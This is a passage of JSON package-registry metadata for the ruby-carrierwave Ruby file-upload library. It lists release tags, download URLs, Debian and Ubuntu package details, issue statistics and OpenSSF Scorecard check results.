ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.564Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":1000,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":938},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-08-17T05:05:38.135Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13712097,"name":"ruby-carrierwave","ecosystem":"debian","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T23:26:21.609Z","latest_release_published_at":"2026-02-12T23:26:21.609Z","latest_release_number":"1.3.2-2","last_synced_at":"2026-03-13T03:28:08.924Z","created_at":"2026-02-12T23:26:21.447Z","updated_at":"2026-08-07T04:18:20.583Z","registry_url":"https://tracker.debian.org/pkg/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":"https://packages.debian.org/bookworm/ruby-carrierwave","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.5.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 13), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-ssrf-filter, ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to 